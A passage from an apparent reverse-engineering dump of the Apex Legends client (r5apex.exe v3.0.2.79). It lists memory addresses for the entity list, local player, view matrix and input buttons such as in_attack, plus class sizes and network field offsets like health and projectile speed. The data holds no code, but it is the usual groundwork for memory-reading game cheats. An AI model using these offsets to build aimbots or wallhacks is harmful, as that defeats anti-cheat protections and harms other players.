+r5apex.exe!0x01cbeea8 RunGameEngine005 +r5apex.exe!0x012ff040 ShaderSystem002 +r5apex.exe!0x018af7e0 VClient018 +r5apex.exe!0x01b47b48 VClientEntityList003 +r5apex.exe!0x01e89660 VClientPrediction001 +r5apex.exe!0x011a6260 VCvarQuery001 +r5apex.exe!0x011a4990 VDebugOverlay004 +r5apex.exe!0x011a8a18 VENGINE_GAMEUIFUNCS_VERSION005 +r5apex.exe!0x012ec1f0 VENGINE_LAUNCHER_API_VERSION004 +r5apex.exe!0x011b2c70 VEngineModel016 +r5apex.exe!0x011a6df8 VEngineRandom001 +r5apex.exe!0x011a6748 VEngineRenderView013 +r5apex.exe!0x01ea8d40 VGUI_System010 +r5apex.exe!0x011a9228 VMaterialSystemConfig004 +``` + +## Miscellaneous + +``` +TimeDateStamp = 0x5faee648 +CheckSum = 0x201a31a +GameVersion = "v3.0.2.79" +NUM_ENT_ENTRIES = 0x10000 +r5apex.exe!0x18c7af8 cl_entitylist +r5apex.exe!0x11abf5c LocalEntityHandle +r5apex.exe!0x1c76fb8 LocalPlayer +r5apex.exe!0x127bde0 GlobalVars +r5apex.exe!0x4077bd8 ViewRender + 0x1b3bd0 ViewMatrix +r5apex.exe!0x127c0e0 ClientState +r5apex.exe!0x127c178 SignonState +r5apex.exe!0x127c290 LevelName +CWeaponX!0x1e1c m_flProjectileSpeed +CWeaponX!0x1e24 m_flProjectileScale +``` + +## Buttons + +These are addresses to global instances of the [`kbutton_t`](https://github.com/ValveSoftware/source-sdk-2013/blob/master/mp/src/game/client/kbutton.h#L14-L20) struct. + +``` +r5apex.exe!0x04077c80 kbutton_t in_attack +r5apex.exe!0x04077c38 kbutton_t in_backward +r5apex.exe!0x08152380 kbutton_t in_break +r5apex.exe!0x08550720 kbutton_t in_camin +r5apex.exe!0x081526c0 kbutton_t in_camout +r5apex.exe!0x08152670 kbutton_t in_campitchdown +r5apex.exe!0x085507a8 kbutton_t in_campitchup +r5apex.exe!0x081526f8 kbutton_t in_camyawleft +r5apex.exe!0x081526a0 kbutton_t in_camyawright +r5apex.exe!0x04077c60 kbutton_t in_commandermousemove +r5apex.exe!0x04077d38 kbutton_t in_dodge +r5apex.exe!0x081523a0 kbutton_t in_duck +r5apex.exe!0x04077c10 kbutton_t in_forward +r5apex.exe!0x04077cc0 kbutton_t in_graph +r5apex.exe!0x04077d20 kbutton_t in_jump +r5apex.exe!0x08550780 kbutton_t in_klook +r5apex.exe!0x081526e0 kbutton_t in_left +r5apex.exe!0x08152690 kbutton_t in_lookdown +r5apex.exe!0x08152390 kbutton_t in_lookup +r5apex.exe!0x08550790 kbutton_t in_melee +r5apex.exe!0x08152708 kbutton_t in_movedown +r5apex.exe!0x04077c00 kbutton_t in_moveleft +r5apex.exe!0x04077c28 kbutton_t in_moveright +r5apex.exe!0x08550760 kbutton_t in_moveup +r5apex.exe!0x08550770 kbutton_t in_offhand0 +r5apex.exe!0x081526d0 kbutton_t in_offhand1 +r5apex.exe!0x08152498 kbutton_t in_offhand2 +r5apex.exe!0x08152478 kbutton_t in_offhand3 +r5apex.exe!0x08152430 kbutton_t in_offhand4 +r5apex.exe!0x04077d08 kbutton_t in_pause_menu +r5apex.exe!0x04077c70 kbutton_t in_ping +r5apex.exe!0x04077cb0 kbutton_t in_reload +r5apex.exe!0x081526b0 kbutton_t in_right +r5apex.exe!0x081524a8 kbutton_t in_score +r5apex.exe!0x081524a8 kbutton_t in_showscores +r5apex.exe!0x04077c48 kbutton_t in_speed +r5apex.exe!0x04077cd0 kbutton_t in_strafe +r5apex.exe!0x08550740 kbutton_t in_toggle_duck +r5apex.exe!0x08550730 kbutton_t in_toggle_zoom +r5apex.exe!0x08152488 kbutton_t in_use +r5apex.exe!0x08152420 kbutton_t in_useAndReload +r5apex.exe!0x08550750 kbutton_t in_use_alt +r5apex.exe!0x08152410 kbutton_t in_use_long +r5apex.exe!0x04077ce8 kbutton_t in_variableScopeToggle +r5apex.exe!0x08152450 kbutton_t in_walk +r5apex.exe!0x08152680 kbutton_t in_weaponCycle +r5apex.exe!0x08152440 kbutton_t in_weapon_discard +r5apex.exe!0x08152468 kbutton_t in_zoom +``` + +## ClientClasses + +
+client_class CAI_BaseNPC + +class_id: `0` +sizeof: `7488` +
+
+client_class CAmbientGeneric + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseAnimating + +class_id: `0` +sizeof: `5632` +
+
+client_class CBaseAnimatingOverlay + +class_id: `0` +sizeof: `6528` +
+
+client_class CBaseButton + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseCombatCharacter + +class_id: `0` +sizeof: `7040` +
+
+client_class CBaseEntity + +class_id: `0` +sizeof: `2624` +
+
+client_class CBaseGrenade + +class_id: `0` +sizeof: `11584` +
+
+client_class CBaseParticleEntity + +class_id: `0` +sizeof: `2624` +
+
+client_class CBaseTempEntity + +class_id: `0` +sizeof: `40` +
+
+client_class CBaseToggle + +class_id: `0` +sizeof: `2688` +
+
+client_class CBaseTrigger + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseVPhysicsTrigger + +class_id: `0` +sizeof: `2688` +
+
+client_class CBaseViewModel + +class_id: `0` +sizeof: `20352` +
+
+client_class CBoneFollower + +class_id: `0` +sizeof: `2688` +
+
+client_class CBreakableProp + +class_id: `0` +sizeof: `5632` +
+
+client_class CBreakableSurface + +class_id: `0` +sizeof: `3776` +
+
+client_class CCascadeLight + +class_id: `0` +sizeof: `3008` +
+
+client_class CColorCorrection + +class_id: `0` +sizeof: `3008` +
+
+client_class CCrossbowBolt + +class_id: `0` +sizeof: `11456` +
+
+client_class CDeathBoxProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CDynamicLight + +class_id: `0` +sizeof: `2688` +
+
+client_class CDynamicProp + +class_id: `0` +sizeof: `5696` +
+
+client_class CDynamicPropLightweight + +class_id: `0` +sizeof: `5696` +
+
+client_class CEntityBlocker + +class_id: `0` +sizeof: `2624` +
+
+client_class CEntityDissolve + +class_id: `0` +sizeof: `2688` +
+
+client_class CEntityLinkPage + +class_id: `0` +sizeof: `4736` +
+
+client_class CEnvDecoy + +class_id: `0` +sizeof: `5632` +
+
+client_class CEnvWind + +class_id: `0` +sizeof: `3008` +
+
+client_class CFirstPersonProxy + +class_id: `0` +sizeof: `5760` +
+
+client_class CFuncBrush + +class_id: `0` +sizeof: `2752` +
+
+client_class CFuncBrushLightweight + +class_id: `0` +sizeof: `2752` +
+
+client_class CFuncMoveLinear + +class_id: `0` +sizeof: `2688` +
+
+client_class CGameRulesProxy + +class_id: `0` +sizeof: `2624` +
+
+client_class CGlobalNonRewinding + +class_id: `0` +sizeof: `4736` +
+
+client_class CGrappleHook + +class_id: `0` +sizeof: `5696` +
+
+client_class CHardPointEntity + +class_id: `0` +sizeof: `2688` +
+
+client_class CHardPointFrontierEntity + +class_id: `0` +sizeof: `2688` +
+
+client_class CHealthKit + +class_id: `0` +sizeof: `5632` +
+
+client_class CImportantOnEntSound + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoPlacementHelper + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoTarget + +class_id: `0` +sizeof: `2624` +
+
+client_class CInfoTargetGravity + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoTargetMinimap + +class_id: `0` +sizeof: `2624` +
+
+client_class CLootGrabber + +class_id: `0` +sizeof: `5760` +
+
+client_class CMissile + +class_id: `0` +sizeof: `11776` +
+
+client_class CMovieDisplay + +class_id: `0` +sizeof: `3008` +
+
+client_class CNPC_Drone + +class_id: `0` +sizeof: `7552` +
+
+client_class CNPC_Dropship + +class_id: `0` +sizeof: `7616` +
+
+client_class CNPC_SentryTurret + +class_id: `0` +sizeof: `7552` +
+
+client_class CNPC_Titan + +class_id: `0` +sizeof: `7680` +
+
+client_class CParticleSystem + +class_id: `0` +sizeof: `2816` +
+
+client_class CPhysicsProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CPlayer + +class_id: `0` +sizeof: `17472` +
+
+client_class CPlayerDecoy + +class_id: `0` +sizeof: `5760` +
+
+client_class CPlayerTasklist + +class_id: `0` +sizeof: `4032` +
+
+client_class CPlayerVehicle + +class_id: `0` +sizeof: `7424` +
+
+client_class CPlayerWaypoint + +class_id: `0` +sizeof: `3392` +
+
+client_class CPointCamera + +class_id: `0` +sizeof: `2816` +
+
+client_class CPortal_PointPush + +class_id: `0` +sizeof: `2688` +
+
+client_class CPostProcessController + +class_id: `0` +sizeof: `2688` +
+
+client_class CPredictedFirstPersonProxy + +class_id: `0` +sizeof: `5824` +
+
+client_class CProjectile + +class_id: `0` +sizeof: `11392` +
+
+client_class CPropDoor + +class_id: `0` +sizeof: `5888` +
+
+client_class CPropSurvival + +class_id: `0` +sizeof: `5696` +
+
+client_class CRopeKeyframe + +class_id: `0` +sizeof: `3904` +
+
+client_class CScriptMover + +class_id: `0` +sizeof: `6272` +
+
+client_class CScriptMoverTrainNode + +class_id: `0` +sizeof: `4224` +
+
+client_class CScriptNetData + +class_id: `0` +sizeof: `3200` +
+
+client_class CScriptNetDataGlobal + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetDataGlobalNonRewind + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_DEATH_BOX + +class_id: `0` +sizeof: `3328` +
+
+client_class CScriptNetData_SNDC_GLOBAL + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_GLOBAL_NON_REWIND + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE + +class_id: `0` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_GLOBAL + +class_id: `0` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_TITAN_SOUL + +class_id: `0` +sizeof: `3328` +
+
+client_class CScriptProp + +class_id: `0` +sizeof: `5888` +
+
+client_class CScriptTraceVolume + +class_id: `0` +sizeof: `2688` +
+
+client_class CShieldProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CSkyCamera + +class_id: `0` +sizeof: `2624` +
+
+client_class CStatueProp + +class_id: `0` +sizeof: `5824` +
+
+client_class CStatusEffectPlugin + +class_id: `0` +sizeof: `2688` +
+
+client_class CTEBreakModel + +class_id: `0` +sizeof: `112` +
+
+client_class CTEEffectDispatch + +class_id: `0` +sizeof: `208` +
+
+client_class CTEExplosion + +class_id: `0` +sizeof: `128` +
+
+client_class CTEGibEvent + +class_id: `0` +sizeof: `56` +
+
+client_class CTEParticleSystem + +class_id: `0` +sizeof: `56` +
+
+client_class CTEPhysicsProp + +class_id: `0` +sizeof: `96` +
+
+client_class CTEProjectileTrail + +class_id: `0` +sizeof: `88` +
+
+client_class CTEScriptParticleSystem + +class_id: `0` +sizeof: `80` +
+
+client_class CTEScriptParticleSystemOnEntity + +class_id: `0` +sizeof: `64` +
+
+client_class CTEScriptParticleSystemOnEntityWithPos + +class_id: `0` +sizeof: `88` +
+
+client_class CTEShatterSurface + +class_id: `0` +sizeof: `104` +
+
+client_class CTESoundDispatch + +class_id: `0` +sizeof: `72` +
+
+client_class CTeam + +class_id: `0` +sizeof: `3008` +
+
+client_class CTitanSoul + +class_id: `0` +sizeof: `3520` +
+
+client_class CTriggerCylinderHeavy + +class_id: `0` +sizeof: `2944` +
+
+client_class CTriggerNoGrapple + +class_id: `0` +sizeof: `2752` +
+
+client_class CTriggerNoObjectPlacement + +class_id: `0` +sizeof: `2752` +
+
+client_class CTriggerNoZipline + +class_id: `0` +sizeof: `2752` +
+
+client_class CTriggerPlayerMovement + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerPointGravity + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerSlip + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerUpdraft + +class_id: `0` +sizeof: `2752` +
+
+client_class CTurret + +class_id: `0` +sizeof: `6720` +
+
+client_class CVGuiScreen + +class_id: `0` +sizeof: `2816` +
+
+client_class CVortexSphere + +class_id: `0` +sizeof: `2752` +
+
+client_class CWaterLODControl + +class_id: `0` +sizeof: `2688` +
+
+client_class CWeaponX + +class_id: `0` +sizeof: `26304` +
+
+client_class CWorld + +class_id: `0` +sizeof: `4928` +
+
+client_class CZipline + +class_id: `0` +sizeof: `4224` +
+
+client_class CZiplineEnd + +class_id: `0` +sizeof: `2688` +
+
+client_class DoorMover + +class_id: `0` +sizeof: `6336` +
+
+client_class ScriptMoverLightweight + +class_id: `0` +sizeof: `6336` +
+
+client_class Titan_Cockpit + +class_id: `0` +sizeof: `6144` +
+ +### Addresses + +``` +r5apex.exe!0x011b2a58 ClientClass CAI_BaseNPC +r5apex.exe!0x011afc08 ClientClass CAmbientGeneric +r5apex.exe!0x011abd78 ClientClass CBaseAnimating +r5apex.exe!0x011b12f8 ClientClass CBaseAnimatingOverlay +r5apex.exe!0x011b2878 ClientClass CBaseButton +r5apex.exe!0x011ad3a8 ClientClass CBaseCombatCharacter +r5apex.exe!0x01e8dfe8 ClientClass CBaseEntity +r5apex.exe!0x012e8b48 ClientClass CBaseGrenade +r5apex.exe!0x01cb8b28 ClientClass CBaseParticleEntity +r5apex.exe!0x011b2558 ClientClass CBaseTempEntity +r5apex.exe!0x011b1a18 ClientClass CBaseToggle +r5apex.exe!0x01279db8 ClientClass CBaseTrigger +r5apex.exe!0x011b2c38 ClientClass CBaseVPhysicsTrigger +r5apex.exe!0x01c57f88 ClientClass CBaseViewModel +r5apex.exe!0x011abb18 ClientClass CBoneFollower +r5apex.exe!0x011ac908 ClientClass CBreakableProp +r5apex.exe!0x011af2f8 ClientClass CBreakableSurface +r5apex.exe!0x011ac868 ClientClass CCascadeLight +r5apex.exe!0x011b2238 ClientClass CColorCorrection +r5apex.exe!0x01e78cd8 ClientClass CCrossbowBolt +r5apex.exe!0x011ac368 ClientClass CDeathBoxProp +r5apex.exe!0x011b1e78 ClientClass CDynamicLight +r5apex.exe!0x011b22d8 ClientClass CDynamicProp +r5apex.exe!0x011ac4a8 ClientClass CDynamicPropLightweight +r5apex.exe!0x01c6f9c8 ClientClass CEntityBlocker +r5apex.exe!0x011b0008 ClientClass CEntityDissolve +r5apex.exe!0x011b8808 ClientClass CEntityLinkPage +r5apex.exe!0x01cb2cc8 ClientClass CEnvDecoy +r5apex.exe!0x011ac728 ClientClass CEnvWind +r5apex.exe!0x01e773d8 ClientClass CFirstPersonProxy +r5apex.exe!0x011b0a88 ClientClass CFuncBrush +r5apex.exe!0x011aeb48 ClientClass CFuncBrushLightweight +r5apex.exe!0x011ade78 ClientClass CFuncMoveLinear +r5apex.exe!0x01ca9788 ClientClass CGameRulesProxy +r5apex.exe!0x01c605a8 ClientClass CGlobalNonRewinding +r5apex.exe!0x01e79bc8 ClientClass CGrappleHook +r5apex.exe!0x011b4ba8 ClientClass CHardPointEntity +r5apex.exe!0x011b5d08 ClientClass CHardPointFrontierEntity +r5apex.exe!0x01cbb648 ClientClass CHealthKit +r5apex.exe!0x0127a158 ClientClass CImportantOnEntSound +r5apex.exe!0x01cbeff8 ClientClass CInfoPlacementHelper +r5apex.exe!0x01ca6210 ClientClass CInfoTarget +r5apex.exe!0x012e6018 ClientClass CInfoTargetGravity +r5apex.exe!0x01c5a638 ClientClass CInfoTargetMinimap +r5apex.exe!0x011b1fb8 ClientClass CLootGrabber +r5apex.exe!0x01e755c8 ClientClass CMissile +r5apex.exe!0x011acfe8 ClientClass CMovieDisplay +r5apex.exe!0x011addd8 ClientClass CNPC_Drone +r5apex.exe!0x011adb88 ClientClass CNPC_Dropship +r5apex.exe!0x011ac548 ClientClass CNPC_SentryTurret +r5apex.exe!0x011af8e8 ClientClass CNPC_Titan +r5apex.exe!0x011afd48 ClientClass CParticleSystem +r5apex.exe!0x011b1868 ClientClass CPhysicsProp +r5apex.exe!0x011abeb8 ClientClass CPlayer +r5apex.exe!0x01cb8a58 ClientClass CPlayerDecoy +r5apex.exe!0x01cb5b28 ClientClass CPlayerTasklist +r5apex.exe!0x011b7188 ClientClass CPlayerVehicle +r5apex.exe!0x01cb4d08 ClientClass CPlayerWaypoint +r5apex.exe!0x011af848 ClientClass CPointCamera +r5apex.exe!0x01cbf778 ClientClass CPortal_PointPush +r5apex.exe!0x011ac5e8 ClientClass CPostProcessController +r5apex.exe!0x01e76f58 ClientClass CPredictedFirstPersonProxy +r5apex.exe!0x01e7a8a8 ClientClass CProjectile +r5apex.exe!0x012ee6e8 ClientClass CPropDoor +r5apex.exe!0x011aed88 ClientClass CPropSurvival +r5apex.exe!0x01cb25f8 ClientClass CRopeKeyframe +r5apex.exe!0x01cb7e98 ClientClass CScriptMover +r5apex.exe!0x01caec28 ClientClass CScriptMoverTrainNode +r5apex.exe!0x01cb6398 ClientClass CScriptNetData +r5apex.exe!0x01cb3f60 ClientClass CScriptNetDataGlobal +r5apex.exe!0x01cb8a20 ClientClass CScriptNetDataGlobalNonRewind +r5apex.exe!0x01caebf0 ClientClass CScriptNetData_SNDC_DEATH_BOX +r5apex.exe!0x01cb4d40 ClientClass CScriptNetData_SNDC_GLOBAL +r5apex.exe!0x01cae838 ClientClass CScriptNetData_SNDC_GLOBAL_NON_REWIND +r5apex.exe!0x01cb4678 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE +r5apex.exe!0x01cb7a88 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED +r5apex.exe!0x01cb3f98 ClientClass CScriptNetData_SNDC_PLAYER_GLOBAL +r5apex.exe!0x01cb4d78 ClientClass CScriptNetData_SNDC_TITAN_SOUL +r5apex.exe!0x011ae678 ClientClass CScriptProp +r5apex.exe!0x01e74ae8 ClientClass CScriptTraceVolume +r5apex.exe!0x011ac408 ClientClass CShieldProp +r5apex.exe!0x01e8dbb8 ClientClass CSkyCamera +r5apex.exe!0x011b2058 ClientClass CStatueProp +r5apex.exe!0x01cb5c38 ClientClass CStatusEffectPlugin +r5apex.exe!0x011b7228 ClientClass CTEBreakModel +r5apex.exe!0x011b42c8 ClientClass CTEEffectDispatch +r5apex.exe!0x011b3ea8 ClientClass CTEExplosion +r5apex.exe!0x011b14d8 ClientClass CTEGibEvent +r5apex.exe!0x01279ed8 ClientClass CTEParticleSystem +r5apex.exe!0x011b5068 ClientClass CTEPhysicsProp +r5apex.exe!0x01e80a58 ClientClass CTEProjectileTrail +r5apex.exe!0x01c5f938 ClientClass CTEScriptParticleSystem +r5apex.exe!0x01c5e598 ClientClass CTEScriptParticleSystemOnEntity +r5apex.exe!0x01ca7b18 ClientClass CTEScriptParticleSystemOnEntityWithPos +r5apex.exe!0x011b9328 ClientClass CTEShatterSurface +r5apex.exe!0x011b30d8 ClientClass CTESoundDispatch +r5apex.exe!0x0127a018 ClientClass CTeam +r5apex.exe!0x011ada48 ClientClass CTitanSoul +r5apex.exe!0x01cb4640 ClientClass CTriggerCylinderHeavy +r5apex.exe!0x011b3918 ClientClass CTriggerNoGrapple +r5apex.exe!0x011b2db8 ClientClass CTriggerNoObjectPlacement +r5apex.exe!0x011b9168 ClientClass CTriggerNoZipline +r5apex.exe!0x01cb7e60 ClientClass CTriggerPlayerMovement +r5apex.exe!0x01cb5c00 ClientClass CTriggerPointGravity +r5apex.exe!0x01cb4cd0 ClientClass CTriggerSlip +r5apex.exe!0x011b5a68 ClientClass CTriggerUpdraft +r5apex.exe!0x01e77cf8 ClientClass CTurret +r5apex.exe!0x0127a598 ClientClass CVGuiScreen +r5apex.exe!0x01e79f88 ClientClass CVortexSphere +r5apex.exe!0x011b70d8 ClientClass CWaterLODControl +r5apex.exe!0x01e8b5d8 ClientClass CWeaponX +r5apex.exe!0x0127a458 ClientClass CWorld +r5apex.exe!0x01e8d638 ClientClass CZipline +r5apex.exe!0x01e8d118 ClientClass CZiplineEnd +r5apex.exe!0x01cb2c90 ClientClass DoorMover +r5apex.exe!0x01cb7b28 ClientClass ScriptMoverLightweight +r5apex.exe!0x01cc00d8 ClientClass Titan_Cockpit +``` + +## RecvTables + +
+class DT_AI_BaseNPC extends DT_BaseCombatCharacter + +``` +{ + statuseffectsdata_npc: DT_AI_BaseNPC_StatusEffects, + m_localOrigin: Vector, + m_hGroundEntity: Int, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_lifeState: Int, + m_inventory: DT_WeaponInventoryActiveWeaponOnly, + m_fireteamSlotIndex: Int, + m_aiSprinting: Int, + m_aiNetworkFlags: Int, + m_isHologram: Int, + m_title: String, + m_aiSettingsIndex: Int, + m_subclass: Int, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC!0x0000 statuseffectsdata_npc +DT_AI_BaseNPC!0x0004 m_localOrigin +DT_AI_BaseNPC!0x041c m_hGroundEntity +DT_AI_BaseNPC!0x0420 m_iHealth +DT_AI_BaseNPC!0x0470 m_localAngles +DT_AI_BaseNPC!0x0558 m_iMaxHealth +DT_AI_BaseNPC!0x0778 m_lifeState +DT_AI_BaseNPC!0x19b0 m_inventory +DT_AI_BaseNPC!0x1b80 m_fireteamSlotIndex +DT_AI_BaseNPC!0x1cea m_aiSprinting +DT_AI_BaseNPC!0x1d0c m_aiNetworkFlags +DT_AI_BaseNPC!0x1d10 m_isHologram +DT_AI_BaseNPC!0x1d11 m_title +DT_AI_BaseNPC!0x1d34 m_aiSettingsIndex +DT_AI_BaseNPC!0x1d38 m_subclass +``` +
+
+class DT_AI_BaseNPC_StatusEffects + +``` +{ + m_statusEffectsTimedNPCNV: DataTable, + m_statusEffectsEndlessNPCNV: DataTable, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC_StatusEffects!0x1b88 m_statusEffectsTimedNPCNV +DT_AI_BaseNPC_StatusEffects!0x1bd0 m_statusEffectsEndlessNPCNV +``` +
+
+class DT_AmbientGeneric extends DT_BaseEntity + +``` +{ + m_radius: Float, + m_isEnabled: Int, + m_networkTableSoundID: Int, + m_networkedSegmentEndpointWorldSpace: Vector, + m_hasPolylineSegments: Int, +} +``` + +### Offsets + +``` +DT_AmbientGeneric!0x0a40 m_radius +DT_AmbientGeneric!0x0a44 m_isEnabled +DT_AmbientGeneric!0x0a50 m_networkTableSoundID +DT_AmbientGeneric!0x0a58 m_networkedSegmentEndpointWorldSpace +DT_AmbientGeneric!0x0a64 m_hasPolylineSegments +``` +
+
+class DT_AnimRelativeData + +``` +{ + m_animInitialPos: Vector, + m_animInitialVel: Vector, + m_animInitialRot: Rotation, + m_animInitialCorrectPos: Vector, + m_animInitialCorrectRot: Rotation, + m_animEntityToRefOffset: Vector, + m_animEntityToRefRotation: Rotation, + m_animBlendBeginTime: Time, + m_animBlendEndTime: Time, + m_animScriptSequence: Int, + m_animScriptModel: Int, + m_animIgnoreParentRot: Int, + m_animMotionMode: Int, +} +``` + +### Offsets + +``` +DT_AnimRelativeData!0x0000 m_animInitialPos +DT_AnimRelativeData!0x000c m_animInitialVel +DT_AnimRelativeData!0x0018 m_animInitialRot +DT_AnimRelativeData!0x0028 m_animInitialCorrectPos +DT_AnimRelativeData!0x0034 m_animInitialCorrectRot +DT_AnimRelativeData!0x0044 m_animEntityToRefOffset +DT_AnimRelativeData!0x0050 m_animEntityToRefRotation +DT_AnimRelativeData!0x0060 m_animBlendBeginTime +DT_AnimRelativeData!0x0064 m_animBlendEndTime +DT_AnimRelativeData!0x0068 m_animScriptSequence +DT_AnimRelativeData!0x006c m_animScriptModel +DT_AnimRelativeData!0x0070 m_animIgnoreParentRot +DT_AnimRelativeData!0x0074 m_animMotionMode +``` +
+
+class DT_BaseAnimating extends DT_BaseEntity + +``` +{ + serveranimdata: DT_ServerAnimationData, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animModelIndex: Int, + m_nNewSequenceParity: Int, + m_flPoseParameter: DataTable, + m_bClientSideRagdoll: Int, + m_vecForce: Vector, + m_flEstIkOffset: Float, + m_passDamageToParent: Int, + m_animNetworkFlags: Int, + m_animActive: Int, + m_animCollisionEnabled: Int, + m_animRelativeToGroundEnabled: Int, + m_animPlantingEnabled: Int, + m_animRelativeData: DT_AnimRelativeData, + m_syncingWithEntity: Int, + m_predictedAnimEventData: DT_PredictedAnimEventData, + m_nRagdollImpactFXTableId: Int, + m_flSkyScaleStartValue: Float, + m_flSkyScaleEndValue: Float, + m_flSkyScaleStartTime: Time, + m_flSkyScaleEndTime: Time, + m_SequenceTransitioner: DT_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_nForceBone: Int, + m_bSequenceFinished: Int, + m_lockedAnimDeltaYaw: Float, + m_flModelScale: Float, +} +``` + +### Offsets + +``` +DT_BaseAnimating!0x0000 serveranimdata +DT_BaseAnimating!0x0010 m_animPlaybackRate +DT_BaseAnimating!0x0014 m_animFrozen +DT_BaseAnimating!0x0018 m_animModelIndex +DT_BaseAnimating!0x0020 m_nNewSequenceParity +DT_BaseAnimating!0x0024 m_flPoseParameter +DT_BaseAnimating!0x0084 m_bClientSideRagdoll +DT_BaseAnimating!0x0088 m_vecForce +DT_BaseAnimating!0x0094 m_flEstIkOffset +DT_BaseAnimating!0x07a4 m_passDamageToParent +DT_BaseAnimating!0x0a68 m_animNetworkFlags +DT_BaseAnimating!0x0a6c m_animActive +DT_BaseAnimating!0x0a6f m_animCollisionEnabled +DT_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +DT_BaseAnimating!0x0a71 m_animPlantingEnabled +DT_BaseAnimating!0x0a74 m_animRelativeData +DT_BaseAnimating!0x0b64 m_syncingWithEntity +DT_BaseAnimating!0x0b68 m_predictedAnimEventData +DT_BaseAnimating!0x0bd4 m_nRagdollImpactFXTableId +DT_BaseAnimating!0x0bd8 m_flSkyScaleStartValue +DT_BaseAnimating!0x0bdc m_flSkyScaleEndValue +DT_BaseAnimating!0x0be0 m_flSkyScaleStartTime +DT_BaseAnimating!0x0be4 m_flSkyScaleEndTime +DT_BaseAnimating!0x0c00 m_SequenceTransitioner +DT_BaseAnimating!0x0e88 m_nSkin +DT_BaseAnimating!0x0e8c m_skinMod +DT_BaseAnimating!0x0e90 m_nBody +DT_BaseAnimating!0x0e94 m_camoIndex +DT_BaseAnimating!0x0ed0 m_nForceBone +DT_BaseAnimating!0x0f34 m_bSequenceFinished +DT_BaseAnimating!0x0f38 m_lockedAnimDeltaYaw +DT_BaseAnimating!0x0f40 m_flModelScale +``` +
+
+class DT_BaseAnimatingOverlay extends DT_BaseAnimating + +``` +{ + overlay_vars: DT_OverlayVars, + m_animOverlayIsActive: DataTable, + m_animOverlayStartTime: DataTable, + m_animOverlayStartCycle: DataTable, + m_animOverlayPlaybackRate: DataTable, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, +} +``` + +### Offsets + +``` +DT_BaseAnimatingOverlay!0x0000 overlay_vars +DT_BaseAnimatingOverlay!0x0008 m_animOverlayIsActive +DT_BaseAnimatingOverlay!0x0014 m_animOverlayStartTime +DT_BaseAnimatingOverlay!0x0038 m_animOverlayStartCycle +DT_BaseAnimatingOverlay!0x005c m_animOverlayPlaybackRate +DT_BaseAnimatingOverlay!0x0080 m_animOverlayModelIndex +DT_BaseAnimatingOverlay!0x00a4 m_animOverlaySequence +DT_BaseAnimatingOverlay!0x00c8 m_animOverlayWeight +DT_BaseAnimatingOverlay!0x00ec m_animOverlayOrder +DT_BaseAnimatingOverlay!0x0110 m_animOverlayAnimTime +DT_BaseAnimatingOverlay!0x0134 m_animOverlayFadeInDuration +DT_BaseAnimatingOverlay!0x0158 m_animOverlayFadeOutDuration +``` +
+
+class DT_BaseCombatCharacter extends DT_BaseAnimatingOverlay + +``` +{ + bcc_localdata: DT_BCCLocalPlayerExclusive, + m_weaponGettingSwitchedOut: DataTable, + m_showActiveWeapon3p: DataTable, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_networkedFlags: Int, + m_deathVelocity: Vector, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_lastFiredTime: Time, + m_lastFiredWeapon: Int, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_selectedWeapons: DataTable, + m_latestPrimaryWeapons: DataTable, + m_latestPrimaryWeaponsIndexZeroOrOne: DataTable, + m_latestNonOffhandWeapons: DataTable, + m_lastCycleSlot: Int, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Int, + m_weaponDisabledFlags: Int, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: DataTable, + m_hudInfo_visibilityTestAlwaysPasses: Int, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, + m_targetInfoIconName: String, +} +``` + +### Offsets + +``` +DT_BaseCombatCharacter!0x0000 bcc_localdata +DT_BaseCombatCharacter!0x0008 m_weaponGettingSwitchedOut +DT_BaseCombatCharacter!0x0010 m_showActiveWeapon3p +DT_BaseCombatCharacter!0x0038 